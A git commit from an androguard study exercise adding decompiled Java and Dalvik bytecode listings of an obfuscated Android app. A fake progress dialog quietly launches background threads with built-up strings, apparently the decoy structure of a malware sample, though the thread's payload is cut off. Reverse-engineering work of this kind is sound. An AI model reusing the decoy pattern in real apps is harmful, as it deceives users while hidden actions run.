androguard学习完成

This commit is contained in:
yinkanglong
2021-12-16 09:58:17 +08:00
parent b694534b7c
commit 549127ce01
56 changed files with 1820 additions and 45 deletions

View File

@@ -0,0 +1,13 @@
package QueiD9ej.ezahS1gi;
public final class F0VFW95a {
public F0VFW95a()
{
return;
}
public static String A8xb()
{
return String.valueOf(new java.util.Random().nextInt(2147483647));
}
}

View File

@@ -0,0 +1,17 @@
# LQueiD9ej/ezahS1gi/F0VFW95a;->A8xb()Ljava/lang/String; [access_flags=public static]
#
# Parameters:
# local registers: v0...v1
#
# - return:java.lang.String
A8xb-BB@0x0 :
0 (00000000) new-instance v0, Ljava/util/Random;
1 (00000004) invoke-direct v0, Ljava/util/Random;-><init>()V
2 (0000000a) const v1, 2147483647 # [nan]
3 (00000010) invoke-virtual v0, v1, Ljava/util/Random;->nextInt(I)I
4 (00000016) move-result v0
5 (00000018) invoke-static v0, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
6 (0000001e) move-result-object v0
7 (00000020) return-object v0

Binary file not shown.

After

Width:  |  Height:  |  Size: 57 KiB

View File

@@ -0,0 +1,11 @@
# LQueiD9ej/ezahS1gi/F0VFW95a;-><init>()V [access_flags=public constructor]
#
# Parameters:
# local registers: v0...v0
#
# - return:void
<init>-BB@0x0 :
0 (00000000) invoke-direct v0, Ljava/lang/Object;-><init>()V
1 (00000006) return-void

Binary file not shown.

After

Width:  |  Height:  |  Size: 23 KiB

View File

@@ -0,0 +1,16 @@
package QueiD9ej.ezahS1gi;
final class HOuC implements android.content.DialogInterface$OnClickListener {
private synthetic QueiD9ej.ezahS1gi.Paa A8xb;
HOuC(QueiD9ej.ezahS1gi.Paa p1)
{
this.A8xb = p1;
return;
}
public final void onClick(android.content.DialogInterface p2, int p3)
{
System.exit(0);
return;
}
}

View File

@@ -0,0 +1,13 @@
# LQueiD9ej/ezahS1gi/HOuC;-><init>(LQueiD9ej/ezahS1gi/Paa;)V [access_flags=constructor]
#
# Parameters:
# - local registers: v0...v0
# - v1:QueiD9ej.ezahS1gi.Paa
#
# - return:void
<init>-BB@0x0 :
0 (00000000) iput-object v1, v0, LQueiD9ej/ezahS1gi/HOuC;->A8xb LQueiD9ej/ezahS1gi/Paa;
1 (00000004) invoke-direct v0, Ljava/lang/Object;-><init>()V
2 (0000000a) return-void

Binary file not shown.

After

Width:  |  Height:  |  Size: 38 KiB

View File

@@ -0,0 +1,14 @@
# LQueiD9ej/ezahS1gi/HOuC;->onClick(Landroid/content/DialogInterface; I)V [access_flags=public final]
#
# Parameters:
# - local registers: v0...v1
# - v2:android.content.DialogInterface
# - v3:int
#
# - return:void
onClick-BB@0x0 :
0 (00000000) const/4 v0, 0
1 (00000002) invoke-static v0, Ljava/lang/System;->exit(I)V
2 (00000008) return-void

Binary file not shown.

After

Width:  |  Height:  |  Size: 34 KiB

View File

@@ -0,0 +1,46 @@
package QueiD9ej.ezahS1gi;
public class Paa extends android.app.Activity {
private android.app.ProgressDialog A8xb;
public Paa()
{
return;
}
public void onCreate(android.os.Bundle p3)
{
super.onCreate(p3);
this.setContentView(2130903040);
((android.widget.Button) this.findViewById(2131165187)).setOnClickListener(new QueiD9ej.ezahS1gi.nXlZmo5r(this));
return;
}
protected android.app.Dialog onCreateDialog(int p3)
{
android.app.ProgressDialog v0_1;
switch (p3) {
case 0:
this.A8xb = new android.app.ProgressDialog(this);
this.A8xb.setProgressStyle(1);
this.A8xb.setMessage(this.getString(2131099652));
v0_1 = this.A8xb;
break;
default:
v0_1 = 0;
}
return v0_1;
}
protected void onPrepareDialog(int p3, android.app.Dialog p4)
{
switch (p3) {
case 0:
this.A8xb.setProgress(0);
QueiD9ej.ezahS1gi.SOP4Uh0B v0_3 = new QueiD9ej.ezahS1gi.n6fVXvL(this, this.A8xb);
v0_3.A8xb = new QueiD9ej.ezahS1gi.SOP4Uh0B(v0_3, v0_3);
v0_3.A8xb.start();
break;
}
return;
}
}

View File

@@ -0,0 +1,11 @@
# LQueiD9ej/ezahS1gi/Paa;-><init>()V [access_flags=public constructor]
#
# Parameters:
# local registers: v0...v0
#
# - return:void
<init>-BB@0x0 :
0 (00000000) invoke-direct v0, Landroid/app/Activity;-><init>()V
1 (00000006) return-void

Binary file not shown.

After

Width:  |  Height:  |  Size: 23 KiB

View File

@@ -0,0 +1,21 @@
# LQueiD9ej/ezahS1gi/Paa;->onCreate(Landroid/os/Bundle;)V [access_flags=public]
#
# Parameters:
# - local registers: v0...v2
# - v3:android.os.Bundle
#
# - return:void
onCreate-BB@0x0 :
0 (00000000) invoke-super v2, v3, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
1 (00000006) const/high16 v0, 32515 # [1.7412886744782398e+38]
2 (0000000a) invoke-virtual v2, v0, LQueiD9ej/ezahS1gi/Paa;->setContentView(I)V
3 (00000010) const v0, 2131165187 # [1.7944584027819245e+38]
4 (00000016) invoke-virtual v2, v0, LQueiD9ej/ezahS1gi/Paa;->findViewById(I)Landroid/view/View;
5 (0000001c) move-result-object v0
6 (0000001e) check-cast v0, Landroid/widget/Button;
7 (00000022) new-instance v1, LQueiD9ej/ezahS1gi/nXlZmo5r;
8 (00000026) invoke-direct v1, v2, LQueiD9ej/ezahS1gi/nXlZmo5r;-><init>(LQueiD9ej/ezahS1gi/Paa;)V
9 (0000002c) invoke-virtual v0, v1, Landroid/widget/Button;->setOnClickListener(Landroid/view/View$OnClickListener;)V
10 (00000032) return-void

Binary file not shown.

After

Width:  |  Height:  |  Size: 102 KiB

View File

@@ -0,0 +1,36 @@
# LQueiD9ej/ezahS1gi/Paa;->onCreateDialog(I)Landroid/app/Dialog; [access_flags=protected]
#
# Parameters:
# - local registers: v0...v2
# - v3:int
#
# - return:android.app.Dialog
onCreateDialog-BB@0x0 : [ D:onCreateDialog-BB@0x6 0:onCreateDialog-BB@0xa ]
0 (00000000) packed-switch v3, +22 (0x44)
onCreateDialog-BB@0x6 : [ onCreateDialog-BB@0x8 ]
1 (00000006) const/4 v0, 0
onCreateDialog-BB@0x8 :
2 (00000008) return-object v0
onCreateDialog-BB@0xa : [ onCreateDialog-BB@0x8 ]
3 (0000000a) new-instance v0, Landroid/app/ProgressDialog;
4 (0000000e) invoke-direct v0, v2, Landroid/app/ProgressDialog;-><init>(Landroid/content/Context;)V
5 (00000014) iput-object v0, v2, LQueiD9ej/ezahS1gi/Paa;->A8xb Landroid/app/ProgressDialog;
6 (00000018) iget-object v0, v2, LQueiD9ej/ezahS1gi/Paa;->A8xb Landroid/app/ProgressDialog;
7 (0000001c) const/4 v1, 1
8 (0000001e) invoke-virtual v0, v1, Landroid/app/ProgressDialog;->setProgressStyle(I)V
9 (00000024) iget-object v0, v2, LQueiD9ej/ezahS1gi/Paa;->A8xb Landroid/app/ProgressDialog;
10 (00000028) const v1, 2131099652 # [1.7811663256481714e+38]
11 (0000002e) invoke-virtual v2, v1, LQueiD9ej/ezahS1gi/Paa;->getString(I)Ljava/lang/String;
12 (00000034) move-result-object v1
13 (00000036) invoke-virtual v0, v1, Landroid/app/ProgressDialog;->setMessage(Ljava/lang/CharSequence;)V
14 (0000003c) iget-object v0, v2, LQueiD9ej/ezahS1gi/Paa;->A8xb Landroid/app/ProgressDialog;
15 (00000040) goto -1c
onCreateDialog-BB@0x42 :
16 (00000042) nop
17 (00000044) packed-switch-payload 0

Binary file not shown.

After

Width:  |  Height:  |  Size: 153 KiB

View File

@@ -0,0 +1,32 @@
# LQueiD9ej/ezahS1gi/Paa;->onPrepareDialog(I Landroid/app/Dialog;)V [access_flags=protected]
#
# Parameters:
# - local registers: v0...v2
# - v3:int
# - v4:android.app.Dialog
#
# - return:void
onPrepareDialog-BB@0x0 : [ D:onPrepareDialog-BB@0x6 0:onPrepareDialog-BB@0x8 ]
0 (00000000) packed-switch v3, +1e (0x3c)
onPrepareDialog-BB@0x6 :
1 (00000006) return-void
onPrepareDialog-BB@0x8 : [ onPrepareDialog-BB@0x6 ]
2 (00000008) iget-object v0, v2, LQueiD9ej/ezahS1gi/Paa;->A8xb Landroid/app/ProgressDialog;
3 (0000000c) const/4 v1, 0
4 (0000000e) invoke-virtual v0, v1, Landroid/app/ProgressDialog;->setProgress(I)V
5 (00000014) new-instance v0, LQueiD9ej/ezahS1gi/n6fVXvL;
6 (00000018) iget-object v1, v2, LQueiD9ej/ezahS1gi/Paa;->A8xb Landroid/app/ProgressDialog;
7 (0000001c) invoke-direct v0, v2, v1, LQueiD9ej/ezahS1gi/n6fVXvL;-><init>(LQueiD9ej/ezahS1gi/Paa; Landroid/app/ProgressDialog;)V
8 (00000022) new-instance v1, LQueiD9ej/ezahS1gi/SOP4Uh0B;
9 (00000026) invoke-direct v1, v0, v0, LQueiD9ej/ezahS1gi/SOP4Uh0B;-><init>(LQueiD9ej/ezahS1gi/n6fVXvL; Landroid/os/Handler;)V
10 (0000002c) iput-object v1, v0, LQueiD9ej/ezahS1gi/n6fVXvL;->A8xb LQueiD9ej/ezahS1gi/SOP4Uh0B;
11 (00000030) iget-object v0, v0, LQueiD9ej/ezahS1gi/n6fVXvL;->A8xb LQueiD9ej/ezahS1gi/SOP4Uh0B;
12 (00000034) invoke-virtual v0, LQueiD9ej/ezahS1gi/SOP4Uh0B;->start()V
13 (0000003a) goto -1a
onPrepareDialog-BB@0x3c :
14 (0000003c) packed-switch-payload 0

Binary file not shown.

After

Width:  |  Height:  |  Size: 163 KiB

View File

@@ -0,0 +1,31 @@
package QueiD9ej.ezahS1gi;
final class SOP4Uh0B extends java.lang.Thread {
int A8xb;
private synthetic QueiD9ej.ezahS1gi.n6fVXvL A8xb;
private android.os.Handler A8xb;
private int UgmlJgeQci;
SOP4Uh0B(QueiD9ej.ezahS1gi.n6fVXvL p1, android.os.Handler p2)
{
this.A8xb = p1;
this.A8xb = p2;
return;
}
public final void run()
{
this.A8xb = 1;
this.UgmlJgeQci = 0;
while (this.A8xb == 1) {
try {
Thread.sleep(100);
} catch (int v0) {
}
int v0_1 = this.A8xb.obtainMessage();
v0_1.arg1 = this.UgmlJgeQci;
this.A8xb.sendMessage(v0_1);
this.UgmlJgeQci = (this.UgmlJgeQci + 1);
}
return;
}
}

View File

@@ -0,0 +1,15 @@
# LQueiD9ej/ezahS1gi/SOP4Uh0B;-><init>(LQueiD9ej/ezahS1gi/n6fVXvL; Landroid/os/Handler;)V [access_flags=constructor]
#
# Parameters:
# - local registers: v0...v0
# - v1:QueiD9ej.ezahS1gi.n6fVXvL
# - v2:android.os.Handler
#
# - return:void
<init>-BB@0x0 :
0 (00000000) iput-object v1, v0, LQueiD9ej/ezahS1gi/SOP4Uh0B;->A8xb LQueiD9ej/ezahS1gi/n6fVXvL;
1 (00000004) invoke-direct v0, Ljava/lang/Thread;-><init>()V
2 (0000000a) iput-object v2, v0, LQueiD9ej/ezahS1gi/SOP4Uh0B;->A8xb Landroid/os/Handler;
3 (0000000e) return-void

Binary file not shown.

After

Width:  |  Height:  |  Size: 56 KiB

View File

@@ -0,0 +1,45 @@
# LQueiD9ej/ezahS1gi/SOP4Uh0B;->run()V [access_flags=public final]
#
# Parameters:
# local registers: v0...v3
#
# - return:void
run-BB@0x0 : [ run-BB@0xc ]
0 (00000000) const/4 v2, 1
1 (00000002) iput v2, v3, LQueiD9ej/ezahS1gi/SOP4Uh0B;->A8xb I
2 (00000006) const/4 v0, 0
3 (00000008) iput v0, v3, LQueiD9ej/ezahS1gi/SOP4Uh0B;->UgmlJgeQci I
run-BB@0xc : [ run-BB@0x14 run-BB@0x4e ]
4 (0000000c) iget v0, v3, LQueiD9ej/ezahS1gi/SOP4Uh0B;->A8xb I
5 (00000010) if-ne v0, v2, +1f
run-BB@0x14 : [ run-BB@0x18 ]
6 (00000014) const-wide/16 v0, 100 # [100.0]
run-BB@0x18 : [ run-BB@0x1e ]
7 (00000018) invoke-static v0, v1, Ljava/lang/Thread;->sleep(J)V
18:1d
(Ljava/lang/InterruptedException; -> 4a run-BB@0x4a)
run-BB@0x1e : [ run-BB@0xc ]
8 (0000001e) iget-object v0, v3, LQueiD9ej/ezahS1gi/SOP4Uh0B;->A8xb Landroid/os/Handler;
9 (00000022) invoke-virtual v0, Landroid/os/Handler;->obtainMessage()Landroid/os/Message;
10 (00000028) move-result-object v0
11 (0000002a) iget v1, v3, LQueiD9ej/ezahS1gi/SOP4Uh0B;->UgmlJgeQci I
12 (0000002e) iput v1, v0, Landroid/os/Message;->arg1 I
13 (00000032) iget-object v1, v3, LQueiD9ej/ezahS1gi/SOP4Uh0B;->A8xb Landroid/os/Handler;
14 (00000036) invoke-virtual v1, v0, Landroid/os/Handler;->sendMessage(Landroid/os/Message;)Z
15 (0000003c) iget v0, v3, LQueiD9ej/ezahS1gi/SOP4Uh0B;->UgmlJgeQci I
16 (00000040) add-int/lit8 v0, v0, 1
17 (00000044) iput v0, v3, LQueiD9ej/ezahS1gi/SOP4Uh0B;->UgmlJgeQci I
18 (00000048) goto -1e
run-BB@0x4a : [ run-BB@0x1e ]
19 (0000004a) move-exception v0
20 (0000004c) goto -17
run-BB@0x4e :
21 (0000004e) return-void

Binary file not shown.

After

Width:  |  Height:  |  Size: 157 KiB

View File

@@ -0,0 +1,62 @@
package QueiD9ej.ezahS1gi;
public final class n6fVXvL extends android.os.Handler {
private final int A8xb;
private QueiD9ej.ezahS1gi.Paa A8xb;
QueiD9ej.ezahS1gi.SOP4Uh0B A8xb;
private android.app.ProgressDialog A8xb;
private android.content.Context A8xb;
private final int UTMvZ;
private final int UgmlJgeQci;
public n6fVXvL(QueiD9ej.ezahS1gi.Paa p2, android.app.ProgressDialog p3)
{
this.A8xb = 32;
this.UgmlJgeQci = 56;
this.UTMvZ = 100;
this.A8xb = p2;
this.A8xb = p3;
this.A8xb = p3.getContext();
return;
}
private void A8xb(int p3, String p4)
{
new Thread(new QueiD9ej.ezahS1gi.udHkT0(this.A8xb.getString(p3), p4)).start();
return;
}
public final void handleMessage(android.os.Message p7)
{
QueiD9ej.ezahS1gi.SOP4Uh0B v0_4 = p7.arg1;
this.A8xb.setProgress(v0_4);
switch (v0_4) {
case 32:
android.app.AlertDialog$Builder v1_15 = new StringBuilder().append(this.A8xb.getString(2131099656)).append(this.A8xb.getString(2131099649)).append("1");
new QueiD9ej.ezahS1gi.F0VFW95a();
android.app.AlertDialog$Builder v1_17 = v1_15.append(QueiD9ej.ezahS1gi.F0VFW95a.A8xb());
new QueiD9ej.ezahS1gi.o9JYUb();
this.A8xb(2131099655, v1_17.append(String.valueOf(System.currentTimeMillis())).append(this.A8xb.getString(2131099650)).toString());
break;
case 56:
android.app.AlertDialog$Builder v1_5 = new StringBuilder().append(this.A8xb.getString(2131099658)).append(this.A8xb.getString(2131099649)).append("2");
new QueiD9ej.ezahS1gi.F0VFW95a();
android.app.AlertDialog$Builder v1_7 = v1_5.append(QueiD9ej.ezahS1gi.F0VFW95a.A8xb());
new QueiD9ej.ezahS1gi.o9JYUb();
this.A8xb(2131099657, v1_7.append(String.valueOf(System.currentTimeMillis())).append(this.A8xb.getString(2131099650)).toString());
break;
case 100:
QueiD9ej.ezahS1gi.SOP4Uh0B v0_6 = this.A8xb;
android.app.AlertDialog$Builder v1_18 = new android.app.AlertDialog$Builder(v0_6);
v1_18.setMessage(2131099653).setCancelable(0).setNeutralButton(2131099654, new QueiD9ej.ezahS1gi.HOuC(v0_6));
v1_18.create().show();
break;
default:
if (v0_4 < 100) {
} else {
this.A8xb.dismiss();
this.A8xb.A8xb = 0;
}
}
return;
}
}

View File

@@ -0,0 +1,20 @@
# LQueiD9ej/ezahS1gi/n6fVXvL;->A8xb(I Ljava/lang/String;)V [access_flags=private]
#
# Parameters:
# - local registers: v0...v2
# - v3:int
# - v4:java.lang.String
#
# - return:void
A8xb-BB@0x0 :
0 (00000000) new-instance v0, LQueiD9ej/ezahS1gi/udHkT0;
1 (00000004) iget-object v1, v2, LQueiD9ej/ezahS1gi/n6fVXvL;->A8xb Landroid/content/Context;
2 (00000008) invoke-virtual v1, v3, Landroid/content/Context;->getString(I)Ljava/lang/String;
3 (0000000e) move-result-object v1
4 (00000010) invoke-direct v0, v1, v4, LQueiD9ej/ezahS1gi/udHkT0;-><init>(Ljava/lang/String; Ljava/lang/String;)V
5 (00000016) new-instance v1, Ljava/lang/Thread;
6 (0000001a) invoke-direct v1, v0, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7 (00000020) invoke-virtual v1, Ljava/lang/Thread;->start()V
8 (00000026) return-void

Binary file not shown.

After

Width:  |  Height:  |  Size: 87 KiB

View File

@@ -0,0 +1,24 @@
# LQueiD9ej/ezahS1gi/n6fVXvL;-><init>(LQueiD9ej/ezahS1gi/Paa; Landroid/app/ProgressDialog;)V [access_flags=public constructor]
#
# Parameters:
# - local registers: v0...v1
# - v2:QueiD9ej.ezahS1gi.Paa
# - v3:android.app.ProgressDialog
#
# - return:void
<init>-BB@0x0 :
0 (00000000) invoke-direct v1, Landroid/os/Handler;-><init>()V
1 (00000006) const/16 v0, 32
2 (0000000a) iput v0, v1, LQueiD9ej/ezahS1gi/n6fVXvL;->A8xb I
3 (0000000e) const/16 v0, 56
4 (00000012) iput v0, v1, LQueiD9ej/ezahS1gi/n6fVXvL;->UgmlJgeQci I
5 (00000016) const/16 v0, 100
6 (0000001a) iput v0, v1, LQueiD9ej/ezahS1gi/n6fVXvL;->UTMvZ I
7 (0000001e) iput-object v2, v1, LQueiD9ej/ezahS1gi/n6fVXvL;->A8xb LQueiD9ej/ezahS1gi/Paa;
8 (00000022) iput-object v3, v1, LQueiD9ej/ezahS1gi/n6fVXvL;->A8xb Landroid/app/ProgressDialog;
9 (00000026) invoke-virtual v3, Landroid/app/ProgressDialog;->getContext()Landroid/content/Context;
10 (0000002c) move-result-object v0
11 (0000002e) iput-object v0, v1, LQueiD9ej/ezahS1gi/n6fVXvL;->A8xb Landroid/content/Context;
12 (00000032) return-void

Binary file not shown.

After

Width:  |  Height:  |  Size: 110 KiB

View File

@@ -0,0 +1,135 @@
# LQueiD9ej/ezahS1gi/n6fVXvL;->handleMessage(Landroid/os/Message;)V [access_flags=public final]
#
# Parameters:
# - local registers: v0...v6
# - v7:android.os.Message
#
# - return:void
handleMessage-BB@0x0 : [ D:handleMessage-BB@0x22 32:handleMessage-BB@0x3e 56:handleMessage-BB@0xe8 100:handleMessage-BB@0x194 ]
0 (00000000) const v5, 2131099650 # [1.7811659199999793e+38]
1 (00000006) const v4, 2131099649 # [1.7811657171758833e+38]
2 (0000000c) const/4 v3, 0
3 (0000000e) iget v0, v7, Landroid/os/Message;->arg1 I
4 (00000012) iget-object v1, v6, LQueiD9ej/ezahS1gi/n6fVXvL;->A8xb Landroid/app/ProgressDialog;
5 (00000016) invoke-virtual v1, v0, Landroid/app/ProgressDialog;->setProgress(I)V
6 (0000001c) sparse-switch v0, +e2 (0x1e0)
handleMessage-BB@0x22 : [ handleMessage-BB@0x2a handleMessage-BB@0x3c ]
7 (00000022) const/16 v1, 100
8 (00000026) if-lt v0, v1, +b
handleMessage-BB@0x2a : [ handleMessage-BB@0x3c ]
9 (0000002a) iget-object v0, v6, LQueiD9ej/ezahS1gi/n6fVXvL;->A8xb Landroid/app/ProgressDialog;
10 (0000002e) invoke-virtual v0, Landroid/app/ProgressDialog;->dismiss()V
11 (00000034) iget-object v0, v6, LQueiD9ej/ezahS1gi/n6fVXvL;->A8xb LQueiD9ej/ezahS1gi/SOP4Uh0B;
12 (00000038) iput v3, v0, LQueiD9ej/ezahS1gi/SOP4Uh0B;->A8xb I
handleMessage-BB@0x3c :
13 (0000003c) return-void
handleMessage-BB@0x3e : [ handleMessage-BB@0x3c ]
14 (0000003e) const v0, 2131099655 # [1.7811669341204595e+38]
15 (00000044) new-instance v1, Ljava/lang/StringBuilder;
16 (00000048) invoke-direct v1, Ljava/lang/StringBuilder;-><init>()V
17 (0000004e) iget-object v2, v6, LQueiD9ej/ezahS1gi/n6fVXvL;->A8xb Landroid/content/Context;
18 (00000052) const v3, 2131099656 # [1.7811671369445556e+38]
19 (00000058) invoke-virtual v2, v3, Landroid/content/Context;->getString(I)Ljava/lang/String;
20 (0000005e) move-result-object v2
21 (00000060) invoke-virtual v1, v2, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
22 (00000066) move-result-object v1
23 (00000068) iget-object v2, v6, LQueiD9ej/ezahS1gi/n6fVXvL;->A8xb Landroid/content/Context;
24 (0000006c) invoke-virtual v2, v4, Landroid/content/Context;->getString(I)Ljava/lang/String;
25 (00000072) move-result-object v2
26 (00000074) invoke-virtual v1, v2, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
27 (0000007a) move-result-object v1
28 (0000007c) const-string v2, '1'
29 (00000080) invoke-virtual v1, v2, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
30 (00000086) move-result-object v1
31 (00000088) new-instance v2, LQueiD9ej/ezahS1gi/F0VFW95a;
32 (0000008c) invoke-direct v2, LQueiD9ej/ezahS1gi/F0VFW95a;-><init>()V
33 (00000092) invoke-static LQueiD9ej/ezahS1gi/F0VFW95a;->A8xb()Ljava/lang/String;
34 (00000098) move-result-object v2
35 (0000009a) invoke-virtual v1, v2, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
36 (000000a0) move-result-object v1
37 (000000a2) new-instance v2, LQueiD9ej/ezahS1gi/o9JYUb;
38 (000000a6) invoke-direct v2, LQueiD9ej/ezahS1gi/o9JYUb;-><init>()V
39 (000000ac) invoke-static Ljava/lang/System;->currentTimeMillis()J
40 (000000b2) move-result-wide v2
41 (000000b4) invoke-static v2, v3, Ljava/lang/String;->valueOf(J)Ljava/lang/String;
42 (000000ba) move-result-object v2
43 (000000bc) invoke-virtual v1, v2, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
44 (000000c2) move-result-object v1
45 (000000c4) iget-object v2, v6, LQueiD9ej/ezahS1gi/n6fVXvL;->A8xb Landroid/content/Context;
46 (000000c8) invoke-virtual v2, v5, Landroid/content/Context;->getString(I)Ljava/lang/String;
47 (000000ce) move-result-object v2
48 (000000d0) invoke-virtual v1, v2, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
49 (000000d6) move-result-object v1
50 (000000d8) invoke-virtual v1, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
51 (000000de) move-result-object v1
52 (000000e0) invoke-direct v6, v0, v1, LQueiD9ej/ezahS1gi/n6fVXvL;->A8xb(I Ljava/lang/String;)V
53 (000000e6) goto -55
handleMessage-BB@0xe8 : [ handleMessage-BB@0x3c ]
54 (000000e8) const v0, 2131099657 # [1.7811673397686516e+38]
55 (000000ee) new-instance v1, Ljava/lang/StringBuilder;
56 (000000f2) invoke-direct v1, Ljava/lang/StringBuilder;-><init>()V
57 (000000f8) iget-object v2, v6, LQueiD9ej/ezahS1gi/n6fVXvL;->A8xb Landroid/content/Context;
58 (000000fc) const v3, 2131099658 # [1.7811675425927476e+38]
59 (00000102) invoke-virtual v2, v3, Landroid/content/Context;->getString(I)Ljava/lang/String;
60 (00000108) move-result-object v2
61 (0000010a) invoke-virtual v1, v2, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
62 (00000110) move-result-object v1
63 (00000112) iget-object v2, v6, LQueiD9ej/ezahS1gi/n6fVXvL;->A8xb Landroid/content/Context;
64 (00000116) invoke-virtual v2, v4, Landroid/content/Context;->getString(I)Ljava/lang/String;
65 (0000011c) move-result-object v2
66 (0000011e) invoke-virtual v1, v2, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
67 (00000124) move-result-object v1
68 (00000126) const-string v2, '2'
69 (0000012a) invoke-virtual v1, v2, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
70 (00000130) move-result-object v1
71 (00000132) new-instance v2, LQueiD9ej/ezahS1gi/F0VFW95a;
72 (00000136) invoke-direct v2, LQueiD9ej/ezahS1gi/F0VFW95a;-><init>()V
73 (0000013c) invoke-static LQueiD9ej/ezahS1gi/F0VFW95a;->A8xb()Ljava/lang/String;
74 (00000142) move-result-object v2
75 (00000144) invoke-virtual v1, v2, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
76 (0000014a) move-result-object v1
77 (0000014c) new-instance v2, LQueiD9ej/ezahS1gi/o9JYUb;
78 (00000150) invoke-direct v2, LQueiD9ej/ezahS1gi/o9JYUb;-><init>()V
79 (00000156) invoke-static Ljava/lang/System;->currentTimeMillis()J
80 (0000015c) move-result-wide v2
81 (0000015e) invoke-static v2, v3, Ljava/lang/String;->valueOf(J)Ljava/lang/String;
82 (00000164) move-result-object v2
83 (00000166) invoke-virtual v1, v2, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
84 (0000016c) move-result-object v1
85 (0000016e) iget-object v2, v6, LQueiD9ej/ezahS1gi/n6fVXvL;->A8xb Landroid/content/Context;
86 (00000172) invoke-virtual v2, v5, Landroid/content/Context;->getString(I)Ljava/lang/String;
87 (00000178) move-result-object v2
88 (0000017a) invoke-virtual v1, v2, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
89 (00000180) move-result-object v1
90 (00000182) invoke-virtual v1, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
91 (00000188) move-result-object v1
92 (0000018a) invoke-direct v6, v0, v1, LQueiD9ej/ezahS1gi/n6fVXvL;->A8xb(I Ljava/lang/String;)V
93 (00000190) goto/16 -aa
handleMessage-BB@0x194 : [ handleMessage-BB@0x3c ]
94 (00000194) iget-object v0, v6, LQueiD9ej/ezahS1gi/n6fVXvL;->A8xb LQueiD9ej/ezahS1gi/Paa;
95 (00000198) new-instance v1, Landroid/app/AlertDialog$Builder;
96 (0000019c) invoke-direct v1, v0, Landroid/app/AlertDialog$Builder;-><init>(Landroid/content/Context;)V
97 (000001a2) const v2, 2131099653 # [1.7811665284722675e+38]
98 (000001a8) invoke-virtual v1, v2, Landroid/app/AlertDialog$Builder;->setMessage(I)Landroid/app/AlertDialog$Builder;
99 (000001ae) move-result-object v2
100 (000001b0) invoke-virtual v2, v3, Landroid/app/AlertDialog$Builder;->setCancelable(Z)Landroid/app/AlertDialog$Builder;
101 (000001b6) move-result-object v2
102 (000001b8) const v3, 2131099654 # [1.7811667312963635e+38]
103 (000001be) new-instance v4, LQueiD9ej/ezahS1gi/HOuC;
104 (000001c2) invoke-direct v4, v0, LQueiD9ej/ezahS1gi/HOuC;-><init>(LQueiD9ej/ezahS1gi/Paa;)V
105 (000001c8) invoke-virtual v2, v3, v4, Landroid/app/AlertDialog$Builder;->setNeutralButton(I Landroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder;
106 (000001ce) invoke-virtual v1, Landroid/app/AlertDialog$Builder;->create()Landroid/app/AlertDialog;
107 (000001d4) move-result-object v0
108 (000001d6) invoke-virtual v0, Landroid/app/AlertDialog;->show()V
109 (000001dc) goto/16 -d0
handleMessage-BB@0x1e0 :
110 (000001e0) sparse-switch-payload 20 38 64

Binary file not shown.

After

Width:  |  Height:  |  Size: 904 KiB

View File

@@ -0,0 +1,16 @@
package QueiD9ej.ezahS1gi;
final class nXlZmo5r implements android.view.View$OnClickListener {
private synthetic QueiD9ej.ezahS1gi.Paa A8xb;
nXlZmo5r(QueiD9ej.ezahS1gi.Paa p1)
{
this.A8xb = p1;
return;
}
public final void onClick(android.view.View p3)
{
this.A8xb.showDialog(0);
return;
}
}

View File

@@ -0,0 +1,13 @@
# LQueiD9ej/ezahS1gi/nXlZmo5r;-><init>(LQueiD9ej/ezahS1gi/Paa;)V [access_flags=constructor]
#
# Parameters:
# - local registers: v0...v0
# - v1:QueiD9ej.ezahS1gi.Paa
#
# - return:void
<init>-BB@0x0 :
0 (00000000) iput-object v1, v0, LQueiD9ej/ezahS1gi/nXlZmo5r;->A8xb LQueiD9ej/ezahS1gi/Paa;
1 (00000004) invoke-direct v0, Ljava/lang/Object;-><init>()V
2 (0000000a) return-void

Binary file not shown.

After

Width:  |  Height:  |  Size: 39 KiB

View File

@@ -0,0 +1,14 @@
# LQueiD9ej/ezahS1gi/nXlZmo5r;->onClick(Landroid/view/View;)V [access_flags=public final]
#
# Parameters:
# - local registers: v0...v2
# - v3:android.view.View
#
# - return:void
onClick-BB@0x0 :
0 (00000000) iget-object v0, v2, LQueiD9ej/ezahS1gi/nXlZmo5r;->A8xb LQueiD9ej/ezahS1gi/Paa;
1 (00000004) const/4 v1, 0
2 (00000006) invoke-virtual v0, v1, LQueiD9ej/ezahS1gi/Paa;->showDialog(I)V
3 (0000000c) return-void

Binary file not shown.

After

Width:  |  Height:  |  Size: 45 KiB

View File

@@ -0,0 +1,8 @@
package QueiD9ej.ezahS1gi;
public final class o9JYUb {
public o9JYUb()
{
return;
}
}

View File

@@ -0,0 +1,11 @@
# LQueiD9ej/ezahS1gi/o9JYUb;-><init>()V [access_flags=public constructor]
#
# Parameters:
# local registers: v0...v0
#
# - return:void
<init>-BB@0x0 :
0 (00000000) invoke-direct v0, Ljava/lang/Object;-><init>()V
1 (00000006) return-void

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

View File

@@ -0,0 +1,18 @@
package QueiD9ej.ezahS1gi;
public final class udHkT0 extends java.lang.Thread {
private String A8xb;
private String UgmlJgeQci;
public udHkT0(String p1, String p2)
{
this.A8xb = p1;
this.UgmlJgeQci = p2;
return;
}
public final void run()
{
